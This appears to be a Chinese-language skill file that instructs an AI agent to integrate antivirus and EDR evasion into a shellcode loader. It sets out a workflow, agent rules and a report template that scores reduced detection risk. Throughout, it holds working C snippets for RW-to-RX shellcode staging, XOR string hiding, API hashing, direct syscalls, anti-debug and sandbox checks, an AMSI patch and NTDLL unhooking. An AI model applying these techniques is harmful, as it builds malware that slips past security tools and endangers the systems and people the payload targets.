Evasion Technique Integrate

免杀技术整合方法论

⛔ 深入参考

• 172 条免杀技术库 → references/evasion-techniques-db.json
• 整合模式与代码示例 → references/integration-patterns.md

---

7 类免杀技术速查

整合流程

1. 读取目标 Loader 源码
2. 查免杀技术库 → references/evasion-techniques-db.json
3. 分析兼容性
   ├─ 使用 RWX？ → 加 memory_evasion（权限翻转）
   ├─ 使用标准 API？ → 加 execution_evasion（Syscall）
   ├─ 有明文字符串？ → 加 string_obfuscation（XOR）
   └─ 无反调试？ → 加 anti_analysis
4. 逐项整合（参考 references/integration-patterns.md）
5. 交叉编译验证
6. 输出变更报告

兼容性矩阵

快速代码示例

权限翻转（最常用）

// Before: PAGE_EXECUTE_READWRITE（一步到位，易被检测）
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// After: 先 RW 写入，再改 RX 执行
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(addr, shellcode, size);
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &oldProtect);

字符串 XOR

char dllName[] = { 0x1a, 0x14, 0x07, ... }; // XOR encrypted
for (int i = 0; i < sizeof(dllName); i++) dllName[i] ^= KEY;

RWX 权限分离

• 两步操作：先写后执行（W+X 分离），不使用 RWX 一步到位
• 验证：编译通过、功能正常、验证执行结果

🤖 Agent 行为规则 — 免杀技术整合

⛔ NEVER

• NEVER 不分析兼容性就直接植入技术 — 必须先完成兼容性矩阵分析
• NEVER 使用知识库外的技术 — 所有技术必须来自 evasion-techniques-db.json
• NEVER 修改非用户提供的代码文件
• NEVER 运行或测试修改后的二进制 — 编译通过即可
• NEVER 忽略变更报告 — 必须输出修改了什么、影响评估

✅ ALWAYS

• 先读取技术库 references/evasion-techniques-db.json
• ALWAYS 列出所有适用技术，让用户确认后再整合
• ALWAYS 每个技术整合后单独编译验证
• ALWAYS 输出变更报告（原文件、应用技术列表、修改的 API/字符串、风险评估）
• ALWAYS 备份原始代码

🔧 工具偏好

1. 读取 references/... — 查技术库和整合模式 2. bash — 交叉编译验证 3. 直接创建/编辑文件 — 修改 Loader 源码

免杀技术整合模式参考

提取自 Evasion-SubAgents/evasion_integrate.md，供 references/integration-patterns.md 引用。

整合模式代码示例

1. API Hashing（API 混淆）

// Before: 明文 API 调用
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
LPVOID func = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// After: Hash 查找
DWORD hash = 0xDEADBEEF; // 预计算的 API hash
LPVOID func = GetAPIByHash(hash);

实现要点：

• 预计算所有目标 API 的 hash
• 实现 PEB 遍历 + hash 比对函数
• 支持 djb2 / ror13 / crc32 等算法

2. String XOR（字符串加密）

// Before: 明文字符串
char* dllName = "kernel32.dll";

// After: XOR 加密
char dllName[] = { 0x1a, 0x14, 0x07, 0x1b, 0x14, 0x19, ... };
void xor_decrypt(char* data, size_t len) {
    for (size_t i = 0; i < len; i++) data[i] ^= KEY;
}
xor_decrypt(dllName, sizeof(dllName));

实现要点：

• 搜索所有硬编码字符串（grep/strings）
• 选择随机 XOR key
• 加密后放入 char array
• 运行时解密使用

3. 权限翻转（Memory Evasion）

// Before: RWX 一步到位（高风险）
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// After: RW → 写入 → RX（低风险）
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(addr, shellcode, size);
DWORD oldProtect;
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &oldProtect);

4. Syscall 替换（Execution Evasion）

// Before: 标准 API 调用（可被 Hook 拦截）
NtAllocateVirtualMemory(...);

// After: 直接系统调用
DWORD ssn = GetSSN("NtAllocateVirtualMemory");
ExecuteSyscall(ssn, ...);

实现方式：

• 直接 Syscall: 读取 ntdll.dll 获取 SSN，内联汇编调用
• 间接 Syscall: 跳转到 ntdll.dll 中原始 syscall 指令地址

5. 反调试（Anti-Analysis）

// 方法1: IsDebuggerPresent
if (IsDebuggerPresent()) ExitProcess(0);

// 方法2: 时间差检测
LARGE_INTEGER t1, t2, freq;
QueryPerformanceCounter(&t1);
// ... some work ...
QueryPerformanceCounter(&t2);
if ((t2.QuadPart - t1.QuadPart) / freq.QuadPart > threshold) ExitProcess(0);

// 方法3: CPU 核心数（沙箱通常只有 1-2 核）
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) ExitProcess(0);

6. AMSI/ETW Bypass

// AMSI Patch: AmsiScanBuffer 返回 S_OK
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pFunc = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pFunc, 6, PAGE_READWRITE, &oldProtect);
memcpy(pFunc, "\xb8\x57\x00\x07\x80\xc3", 6); // mov eax, 0x80070057; ret
VirtualProtect(pFunc, 6, oldProtect, &oldProtect);

7. NTDLL Unhooking

// 从磁盘重新映射干净的 ntdll.dll
HANDLE hFile = CreateFileW(L"\\??\\C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_MAP_READ, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
LPVOID cleanNtdll = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &cleanNtdll, ...);
// 用干净副本覆盖 .text section

---

兼容性检查清单

整合前必须确认：

变更报告模板

## 免杀整合报告

- **原始文件**: loader.c
- **应用技术**: [API Hashing, String XOR, 权限翻转]
- **修改的 API**: LoadLibraryA → Hash 查找, GetProcAddress → Hash 查找
- **修改的字符串**: 3 个 DLL 名, 2 个 API 名
- **检测风险变化**: 高 → 低
- **编译结果**: ✅ 通过